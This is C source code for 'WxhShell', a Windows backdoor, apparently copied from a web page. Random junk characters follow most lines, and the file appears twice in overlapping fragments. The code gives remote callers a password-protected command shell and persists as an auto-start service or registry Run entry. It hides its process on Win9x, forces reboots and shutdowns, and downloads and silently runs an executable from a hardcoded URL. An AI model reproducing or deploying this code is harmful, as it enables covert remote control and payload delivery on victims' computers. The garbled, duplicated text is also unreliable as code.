    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g5|~ i{"0  
    else { dgjK\pH`h  
    closesocket(wsh); TIKkS*$  
    ExitThread(0); 3l~+VBR_  
    } 7ocUFY0"  
    break; V9,<>  
    } 4LKpEl.=  
  // 获取shell  d 2d-Mk  
  case 's': { "_q~S$i^  
    CmdShell(wsh); hO]F\0+  
    closesocket(wsh); Jv8:GgSg  
    ExitThread(0); rXi&8R[  
    break; 1EXT^2!D  
  } &em~+83  
  // 退出 p L"{Uqi  
  case 'x': { k1<^Ept  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); orFwy!  
    CloseIt(wsh); ^e8xg=8(  
    break; [(heE  
    } !+%gJiu:  
  // 离开 WR{m?neE_N  
  case 'q': { %):_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >$JE!.p%o  
    closesocket(wsh); ) 2Ei<  
    WSACleanup(); Hu"$ )V  
    exit(1); w$:\!FImx  
    break; C2}y#AI  
        } +})QTFV  
  } 1'qXT{f/~  
  } :)~l3:O  
1.du#w  
  // 提示信息 /_0B5 ,6R  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -qc'J<*^4  
} t`Kpbfk  
  } ,~Mf2Y#m0p  
$@L;j  
  return; AioW*`[WjA  
} VcrMlcnO  
\>6*U r  
// shell模块句柄 W3,r@mi^s7  
int CmdShell(SOCKET sock) &<N8d(  
{ 6Qkjr</  
STARTUPINFO si; X5iD <Lh  
ZeroMemory(&si,sizeof(si)); |M;Nq@bRv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "z{/*uM2<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G}8tFo. d1  
PROCESS_INFORMATION ProcessInfo; #c:s 2EL  
char cmdline[]="cmd"; FBXktSg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z}[ u~P,  
  return 0; TRi'l#m4  
} s9ix&m  
:qdyC sn2  
// 自身启动模式 >%tP"x{  
int StartFromService(void) R4'.QZ-x  
{ G<?RH"RZr  
typedef struct ,/?J!W@m  
{ I6^y` 2X  
  DWORD ExitStatus; 05 6K)E  
  DWORD PebBaseAddress; ZWCsrV*;  
  DWORD AffinityMask; =3035{\  
  DWORD BasePriority; sWlxt qg  
  ULONG UniqueProcessId; NCKR<!(  
  ULONG InheritedFromUniqueProcessId; tx5bmF;b)  
}   PROCESS_BASIC_INFORMATION; 0eA <nK  
~rV$.:%va  
PROCNTQSIP NtQueryInformationProcess; `,V&@}&"n  
U2A-ub>7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; HIc;Lc8$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^UvL1+  
6|EOB~|  
  HANDLE             hProcess; nOPB*{r|  
  PROCESS_BASIC_INFORMATION pbi; I0F [Z\U  
}ekNZNcuM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z?eTjkNS#  
  if(NULL == hInst ) return 0; 4BMu0["6|s  
&u:U"j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X?haHM#]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +PYV-@q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }@bp v  
(')t >B1Z  
  if (!NtQueryInformationProcess) return 0; I%4eX0QY=z  
N6[Z*5efR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q?j7bp]  
  if(!hProcess) return 0; >J9Qr#=H2  
/uWUQ#9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L"YQji!  
:7(fBf5  
  CloseHandle(hProcess); @lzq`SzM  
O.dZ3!!+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;ab[YMkH  
if(hProcess==NULL) return 0; D!* SA  
`m'RvUc  
HMODULE hMod; k x:+mF  
char procName[255]; PlCw,=K8f  
unsigned long cbNeeded; ^X#)'\T  
F42^Uoaz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); LiEEQ  
htYfIy{5w  
  CloseHandle(hProcess); &DQ_qOKD  
]fY:+Ru  
if(strstr(procName,"services")) return 1; // 以服务启动 "'DPb%o  
VN-0hw/A  
  return 0; // 注册表启动 f:8!@,I  
} c*owP  
\)*\$I\]  
// 主模块 qi@Nz=t#HJ  
int StartWxhshell(LPSTR lpCmdLine) -wUT@a  
{ Oh}52=  
  SOCKET wsl; WDnNVE  
BOOL val=TRUE; ZXhNn<  
  int port=0; =8vwaJ  
  struct sockaddr_in door; \V~B+e  
1^AQLOiRE1  
  if(wscfg.ws_autoins) Install(); :tENn r.9v  
Zp/P/97p  
port=atoi(lpCmdLine); Uv k:  
MNh:NFCRA  
if(port<=0) port=wscfg.ws_port; >]B_+r0m^  
:"Vmy.xq  
  WSADATA data; {dh@|BzsbH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; DFwiBB6  
ybf,pDY#f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f/ 3'lPK^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A _7I0^  
  door.sin_family = AF_INET; W^W.* ?e`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e9\_H=t+  
  door.sin_port = htons(port); DW,Z})9  
v%#@.D!)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0 Swu]OE  
closesocket(wsl); 87pu\(,'  
return 1; JrxQ.,*i  
} G_WFg$7G%  
4tkb7D q  
  if(listen(wsl,2) == INVALID_SOCKET) { U4"&T,'lTL  
closesocket(wsl); "Z';nmv'N  
return 1; t%y i3  
} "MPS&OK  
  Wxhshell(wsl); nr>Yj?la  
  WSACleanup(); f4`Nws-dP  
3?k<e  
return 0; 9qq6P!  
ra ,.vJuT  
} jJ RaY3  
D3tcwjXoW_  
// 以NT服务方式启动 75h]# k9\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D=f$-rn  
{ 6 {`J I  
DWORD   status = 0; OgK' ~j  
  DWORD   specificError = 0xfffffff; TCgW^iu  
XB[EJGaX  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zGL.+@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `OZiN;*|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -Zg.o$  
  serviceStatus.dwWin32ExitCode     = 0; e ?Jgk$"  
  serviceStatus.dwServiceSpecificExitCode = 0; VYK%0S9yH[  
  serviceStatus.dwCheckPoint       = 0; p`"Ic2xPJ  
  serviceStatus.dwWaitHint       = 0; F${}n1D  
ubKp P%Z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !h^_2IX  
  if (hServiceStatusHandle==0) return; Yi`DRkp]3  
f]Zj"Tt-  
status = GetLastError(); *aYuuRx  
  if (status!=NO_ERROR) 3z k},8fu  
{ {XXnMO4uR;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; U @}r?!)"f  
    serviceStatus.dwCheckPoint       = 0; 2/))Y\~  
    serviceStatus.dwWaitHint       = 0; r0<zy_d'  
    serviceStatus.dwWin32ExitCode     = status; xjYH[PgfX  
    serviceStatus.dwServiceSpecificExitCode = specificError; M>*xbBl  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); fndH]Yp  
    return; Tkj F /zv  
  } &jrc]  
:@Ml-ZE  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qnU`Q{  
  serviceStatus.dwCheckPoint       = 0; 7<*g'6JG[  
  serviceStatus.dwWaitHint       = 0; 4`sW_ ks  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B;<zA' 1  
} H=XdgOui  
Eh *u6K)Z  
// 处理NT服务事件,比如:启动、停止 F:Yp1Wrb<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) DnCIfda2g  
{ 9 H>J S  
switch(fdwControl) 0Y!~xyg/  
{ i66/2BUh.  
case SERVICE_CONTROL_STOP: _Q*,~ z~  
  serviceStatus.dwWin32ExitCode = 0; |QyZ:`0u  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E,/nK  
  serviceStatus.dwCheckPoint   = 0; _]< Tv3]RK  
  serviceStatus.dwWaitHint     = 0; T|--ZRYn  
  { U_wIx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V|2[>\Cv  
  } [1e/@eC5  
  return; BtF7P}:MGf  
case SERVICE_CONTROL_PAUSE: bc6|]kB:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^ b{~]I  
  break; Rz<'& Z>;  
case SERVICE_CONTROL_CONTINUE: "i%=QON`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m>DJ w7<  
  break; Q*9Y.W.8  
case SERVICE_CONTROL_INTERROGATE:  cj|Urt  
  break; DH])Q5  
}; ]_m(q`_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d-I&--"ju  
} }gQnr;lv  
Xz'o<S  
// 标准应用程序主函数 `cFNO:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2}9M7Z",2  
{ ^= qL[S6/M  
[n$6 T  
// 获取操作系统版本 "i\^GK=  
OsIsNt=GetOsVer(); 3g3Znb  
GetModuleFileName(NULL,ExeFile,MAX_PATH); EuKkIr/(  
_"#n%@  
  // 从命令行安装 Bf$` Hf6  
  if(strpbrk(lpCmdLine,"iI")) Install(); l(Uwci  
r_Pi)MPc  
  // 下载执行文件 dSE"G>l8  
if(wscfg.ws_downexe) { NqN}] nu6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \[]4rXZN0  
  WinExec(wscfg.ws_filenam,SW_HIDE); % 3<7HY]~  
} }u;`k'J@  
q]Af I(  
if(!OsIsNt) { Z1U@xQj  
// 如果时win9x,隐藏进程并且设置为注册表启动 -]Aqt/w"l  
HideProc(); [$`%ve  
StartWxhshell(lpCmdLine); Eo0/cln|  
} $v1_M1  
else ,HK-mAH   
  if(StartFromService()) &[5pR60  
  // 以服务方式启动 rb]?"lizi  
  StartServiceCtrlDispatcher(DispatchTable); ^(Wu$\SA  
else AK&=/[U>  
  // 普通方式启动 UYhxgPGsj  
  StartWxhshell(lpCmdLine); FlT5R*m  
)< p ~  
return 0; :c9 H2  
} ^MvBW6#1  
e_IRF+>  
5Rae?* XH  
n]jw!;  
=========================================== e. R9:  
uP^u:'VjbH  
[=^Wj`;  
j7J'd?l  
lLS7K8;4W  
f%rZ2h)  
" ^`bMFsP  
4-oaq'//BT  
#include <stdio.h> 8;x0U`}Ez(  
#include <string.h> wQ81wfr1:  
#include <windows.h> 0@Z}.k30  
#include <winsock2.h> L.:8qY  
#include <winsvc.h> <4582x,G  
#include <urlmon.h> V+t's*9o3  
M<P8u`)>4H  
#pragma comment (lib, "Ws2_32.lib") 5 &0qr$  
#pragma comment (lib, "urlmon.lib") P7$/yBI U  
_IWLC{%V  
#define MAX_USER   100 // 最大客户端连接数 U|x#'jGo'  
#define BUF_SOCK   200 // sock buffer Hz>Dp !  
#define KEY_BUFF   255 // 输入 buffer WJN) <+d  
9^@)R ED  
#define REBOOT     0   // 重启 #gXxBM  
#define SHUTDOWN   1   // 关机 \t)`Cp6,[b  
.sD=k3d  
#define DEF_PORT   5000 // 监听端口  |^"0bu"  
*NC@o*  
#define REG_LEN     16   // 注册表键长度 pk0{*Z?@  
#define SVC_LEN     80   // NT服务名长度 $dG:29w  
eg24.W9c  
// 从dll定义API :TkMS8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S q{@4F}d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1:J+`mzpl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Rx?ze(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ER0B{b  
~ 7<M6F  
// wxhshell配置信息 -F MonM  
struct WSCFG { ],Yy)<e.  
  int ws_port;         // 监听端口 13+. >  
  char ws_passstr[REG_LEN]; // 口令 JX{_,2*$  
  int ws_autoins;       // 安装标记, 1=yes 0=no b7B|$T,  
  char ws_regname[REG_LEN]; // 注册表键名 dg_w$#  
  char ws_svcname[REG_LEN]; // 服务名 8{_lB#<[E  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |#'n VN.;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 iUk#hLLC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A WJA?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no x_r*<?OZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D"%>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  K~B  
/Q_ Dd  
}; -gUp/ #l1  
Xt +9z  
// default Wxhshell configuration GxEShSGOE  
struct WSCFG wscfg={DEF_PORT, %r8;i  
    "xuhuanlingzhe", YrV@k*O*  
    1, na"!"C s3  
    "Wxhshell", bkS"]q)>  
    "Wxhshell", 'b y+hXk  
            "WxhShell Service", wE}Wh5  
    "Wrsky Windows CmdShell Service", MzDosr3:  
    "Please Input Your Password: ", X0REC%  
  1, XK})?LTD  
  "http://www.wrsky.com/wxhshell.exe", B{*{9!(l9  
  "Wxhshell.exe" k81%$E  
    }; 2=/-,kOL_  
<'N:K@Cs  
// 消息定义模块 ]qxl^Himq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "c|Rpzs[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :q?#$?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "%p7ft  
char *msg_ws_ext="\n\rExit."; gY8$Rk %  
char *msg_ws_end="\n\rQuit."; niKfat?  
char *msg_ws_boot="\n\rReboot..."; &BRa5`  
char *msg_ws_poff="\n\rShutdown..."; kDI?v6y5  
char *msg_ws_down="\n\rSave to "; aYDo0?kF'  
hidQOh  
char *msg_ws_err="\n\rErr!"; : ^("L,AF  
char *msg_ws_ok="\n\rOK!"; Id&e'  
?{e}ouKYX1  
char ExeFile[MAX_PATH]; *UJ4\  
int nUser = 0; kguZAO6  
HANDLE handles[MAX_USER]; .6xMLo,R  
int OsIsNt; bzxf*b1I  
o]RZd--c<  
SERVICE_STATUS       serviceStatus; 0Qq<h;8xEc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; bwH[rT!n  
|`t 6lVO,Z  
// 函数声明 o +7)cI  
int Install(void); Ikw@B)0}  
int Uninstall(void); 8|)^m[c&  
int DownloadFile(char *sURL, SOCKET wsh); F"UI=7:o  
int Boot(int flag); 9@yF7  
void HideProc(void); JWIY0iP  
int GetOsVer(void); _+'!l'`  
int Wxhshell(SOCKET wsl); q\~ #g.}  
void TalkWithClient(void *cs); W\NC3]  
int CmdShell(SOCKET sock); 23WrJM!2N  
int StartFromService(void); p@nj6N.--  
int StartWxhshell(LPSTR lpCmdLine); !ltq@8#_|  
gXJBb+P   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V~ORb1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1P*hC<  
R$8{f:Pj  
// 数据结构和表定义 !*Eu(abD  
SERVICE_TABLE_ENTRY DispatchTable[] = -v.\W y~\  
{ }cr'o"4  
{wscfg.ws_svcname, NTServiceMain}, _p*8ke  
{NULL, NULL} *LU/3H|}  
}; C5Q!_x(  
)c{>@WM~  
// 自我安装 yV )fJ_  
int Install(void) nqm=snh  
{ oV0T   
  char svExeFile[MAX_PATH]; ]i$0s  
  HKEY key; 4&sf{tI  
  strcpy(svExeFile,ExeFile); ,1#? 0q  
T7.Iqw3p  
// 如果是win9x系统,修改注册表设为自启动 ws+'*7  
if(!OsIsNt) { lz~^*\ F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4,z|hY_*t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gS5MoW1  
  RegCloseKey(key); <D~hhGb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A5TSbW']+5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1o%#kf  
  RegCloseKey(key); G rp{ .  
  return 0; 94BH{9b5  
    } "TZY)\{L  
  } CTRUr"  
} i[IFD]Xy!j  
else { ( .cA'f?h  
%m\:AK[}  
// 如果是NT以上系统,安装为系统服务 :5,~CtF5 `  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  pE)NSZ  
if (schSCManager!=0) >5Yn`Fc5  
{ '-YiV  
  SC_HANDLE schService = CreateService LSou]{R  
  ( \+%~7Bi]z  
  schSCManager, 8%#8PLB2  
  wscfg.ws_svcname, z&amYwQcI  
  wscfg.ws_svcdisp, gGL}FNH  
  SERVICE_ALL_ACCESS, "Zgwe,#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #dUKG8-HJ  
  SERVICE_AUTO_START, BZ?3=S1*  
  SERVICE_ERROR_NORMAL, 4k<o  
  svExeFile, Op ar+|p\  
  NULL, >] 'oN  
  NULL, 'NhQBk  
  NULL, ,r w4Lo  
  NULL, +9b{Y^^~T  
  NULL I]v2-rB&-  
  ); GHcx@||C?  
  if (schService!=0) UrizZ 5a  
  { !HDb{f  
  CloseServiceHandle(schService); Q^Cm3|ZO  
  CloseServiceHandle(schSCManager); Y0a[Lb0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); SWV*w[X<X  
  strcat(svExeFile,wscfg.ws_svcname); FpRYffT 9u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B-rE8 \  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3 y}E*QE  
  RegCloseKey(key); 7z4k5d<^_  
  return 0; pY"WW0p"C  
    } ca_mift  
  } 1RYrUg"s"  
  CloseServiceHandle(schSCManager);  @./h$]6  
} lLTqk\8g  
} v.-DXQq  
}8ubGMr,Y  
return 1; \9VF)Y.ke  
} 6WY/[TC-  
lA5Dag'  
// 自我卸载 smf"F\W s  
int Uninstall(void) V%oZT>T3  
{ \"a{\E,{;  
  HKEY key;  LgNIb  
&>-j4,M  
if(!OsIsNt) { \~ D(ww  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZZT #V%Q=u  
  RegDeleteValue(key,wscfg.ws_regname); 7y'uZAF  
  RegCloseKey(key); \;X7DK2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JI5o~; }m  
  RegDeleteValue(key,wscfg.ws_regname); $y8-JR~  
  RegCloseKey(key); FOXSs8"c]!  
  return 0; UY< PiP  
  } ] 4dl6T  
} faQmkO  
} x s{pGQ6Q  
else { jz bq{#  
l^lb ^"o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); HT;^u"a~  
if (schSCManager!=0) h !^= c  
{ tqGrhOt  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K;R H,o1  
  if (schService!=0) ,|]J aZq  
  { ;,&cWz  
  if(DeleteService(schService)!=0) { }D#: NlMp  
  CloseServiceHandle(schService); gg/`{  
  CloseServiceHandle(schSCManager); ^e.-Ji  
  return 0; R/+$ :  
  } >pv.,cj  
  CloseServiceHandle(schService); RxP H[7oZ  
  } #CC5+  
  CloseServiceHandle(schSCManager); =>$)F 4LW  
} 6X \g7bg  
} hYW9a`Ht/  
3z8i0  
return 1; 'C[tPP  
} ^m qEKy<  
C-&ymJC|  
// 从指定url下载文件 R BYhU55B  
int DownloadFile(char *sURL, SOCKET wsh) b[74$W{  
{ `z&#|0O  
  HRESULT hr; %O"8|ZG9{  
char seps[]= "/"; <Riz!(G  
char *token; EgjJywNhd2  
char *file; WMB%?30  
char myURL[MAX_PATH];  1MN!  
char myFILE[MAX_PATH]; 3^sbbm.8  
k#].nQG  
strcpy(myURL,sURL); P%3pM*.  
  token=strtok(myURL,seps); G|wtl(}3  
  while(token!=NULL) /I%z7f91O  
  { kBo:)Vej4  
    file=token; cLtVj2Wb  
  token=strtok(NULL,seps); 6Tl6A>%s  
  } -o ).<&#  
7UfNz60+~  
GetCurrentDirectory(MAX_PATH,myFILE); s2<!Zb4  
strcat(myFILE, "\\");  ;l$$!PJ  
strcat(myFILE, file); |mEWN/@C  
  send(wsh,myFILE,strlen(myFILE),0); MEDh  
send(wsh,"...",3,0); SMN.AJ J  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pQz1!0  
  if(hr==S_OK) UL+Txc  
return 0; gEh/m.L7  
else I?e5h@uE  
return 1; zHJCXTM  
V1aP_G-:  
} gmGK3am  
N^L@MR-  
// 系统电源模块 yXJhOCa  
int Boot(int flag) fkV@3sj  
{ 7Uenr9)M  
  HANDLE hToken; ]E`<8hRB  
  TOKEN_PRIVILEGES tkp; qN!oN*  
=nEP:7~{  
  if(OsIsNt) { g)X3:=['  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); c!6D{(sfh  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I ]m  
    tkp.PrivilegeCount = 1; Ca2r<|uA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (@?mm  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @Cj!MZ=T  
if(flag==REBOOT) { :#rP$LSYC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) v3-/ [-XB:  
  return 0; DH(<{ #u  
} 2dn^K3  
else { .t8)`MU6.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :/5m D  
  return 0; vm [lMx  
} "5hk%T '  
  } _7Y h[I4  
  else { 1 .3#PdMR,  
if(flag==REBOOT) { 7)Toj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3jx%]S^z|  
  return 0; HbTVuf o  
} Bkcwl  
else { Bx?3E^!T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xGd60"w2  
  return 0; "Y&I#&$b\  
} Ymut]`dX  
} +f3Rzx]  
v:O{"s  
return 1; 5!c/J:z  
} u64#,mC[*  
%|-N{>wKy  
// win9x进程隐藏模块 sx,$W3zI'G  
void HideProc(void) I Xc `Ec  
{ +H-=`+,  
egoR])2>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I68u%fCv  
  if ( hKernel != NULL ) ;UdM8+^/V]  
  { oF%m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8_Oeui(i  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O NabL.CV  
    FreeLibrary(hKernel); qGinlE&\  
  } #:)'D?,  
]H1mj#EWU  
return; wkg4I.  
} -gn0@hS0  
{##G.n\~  
// 获取操作系统版本 is.t,&H4P]  
int GetOsVer(void) 1XGg0SC  
{ ~k*]Z8Z  
  OSVERSIONINFO winfo; sW>%mnx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -&/?&{Q0  
  GetVersionEx(&winfo); )nN!% |J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Jqoo&T")  
  return 1; .$U,bE  
  else $AK ^E6  
  return 0; >y%H2][  
} &PMQ]B  
.S` q2C\  
// 客户端句柄模块 H<Sn p)  
int Wxhshell(SOCKET wsl) j\}.GM'8  
{ dSDZMB sd  
  SOCKET wsh; x ;DoQx  
  struct sockaddr_in client; |Ajd$+3  
  DWORD myID; .f~9IAXP`  
h+km?j  
  while(nUser<MAX_USER) [LVXXjkFI  
{ $QJ3~mG2  
  int nSize=sizeof(client); @-@Coy 4Tt  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z{XB_j6\=  
  if(wsh==INVALID_SOCKET) return 1; pqG> |#RG  
i"Jy>'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yR$_ZXsd  
if(handles[nUser]==0) 3vrVX<_  
  closesocket(wsh); cy%M$O|hX5  
else vC]X>P5Px  
  nUser++; [$dVs16K  
  } U,rI/'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t{})6  
sI,cX#h&Y  
  return 0; gawY{Jr8I  
} {;$oC4  
[RF,0>^b  
// 关闭 socket PT>b%7Of  
void CloseIt(SOCKET wsh) BMp'.9Qgm  
{ _zj^k$ j  
closesocket(wsh); r8:r}Qj2w[  
nUser--; yP"2.9\erH  
ExitThread(0); K V5 '-Sv1  
} "L>'X22ed  
f_k'@e{  
// 客户端请求句柄 86#l$QaK{  
void TalkWithClient(void *cs) 6,t6~Uo/  
{ Du_5iuMh  
4Kj.o  
  SOCKET wsh=(SOCKET)cs; 'sEnh<  
  char pwd[SVC_LEN]; z5@XFaQ  
  char cmd[KEY_BUFF]; C'#KTp4!1  
char chr[1]; #:6-O  
int i,j; Y3 $jNuV  
QE]'Dc%  
  while (nUser < MAX_USER) { ]J Yz(m[   
Tm" H9  
if(wscfg.ws_passstr) { J|W E&5'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -y.cy'$f  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o2fih%p?1  
  //ZeroMemory(pwd,KEY_BUFF); V60L\?a  
      i=0; @.;+WQE  
  while(i<SVC_LEN) { x?AG*' h&  
YZ~MByu  
  // 设置超时 VMah3T!  
  fd_set FdRead; N[Z`tk?-  
  struct timeval TimeOut; sH6;__e  
  FD_ZERO(&FdRead); $N?8[  
  FD_SET(wsh,&FdRead); /WQ.,a  
  TimeOut.tv_sec=8; ;L-=z]IR,  
  TimeOut.tv_usec=0; ~"+"6zg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J[ }H^FR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R3B+vLGX  
oN032o?S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^50dF:V(1  
  pwd=chr[0]; xs= ~N  
  if(chr[0]==0xd || chr[0]==0xa) { 56AC%_ g>  
  pwd=0; <rzP  
  break; 9=>q0D2  
  } '#6e Ub  
  i++; xQsxc  
    } fRS;6Jc  
0? {ADQz  
  // 如果是非法用户,关闭 socket +bumWOQ'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wfo,r 7  
} .n<vhLDQn  
x^1udK^re  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tSHW"R  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?V6,>e_+  
iil<zEic  
while(1) { hYoUZ'4  
ImN'o4vo  
  ZeroMemory(cmd,KEY_BUFF); Tpl]\L1v-  
REW[`MBQ  
      // 自动支持客户端 telnet标准   svpQ.Q  
  j=0; -,8LL@_  
  while(j<KEY_BUFF) { o/N!l]r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kcfT|@:MK"  
  cmd[j]=chr[0]; 6b|<$Je9  
  if(chr[0]==0xa || chr[0]==0xd) { fo ~uI(rk  
  cmd[j]=0; 'AA9F$Dz  
  break; BqNsW (+  
  } wn"}<ka  
  j++; Ge?Wm q>  
    } Fi``l )Tt  
R XCn;nM4  
  // 下载文件 01A{\O1$j  
  if(strstr(cmd,"http://")) { A.>mk598  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vT?^#  
  if(DownloadFile(cmd,wsh)) k8D _  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }$_@yt<{W@  
  else of B:7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J ?o  
  } S f?;j{?G  
  else { "#*W#ohVA  
zj7ta[<tr  
    switch(cmd[0]) { 2>o[  
  |.k'?!  
  // 帮助 @j\:K<sk  
  case '?': { `w!XO$"]Z  
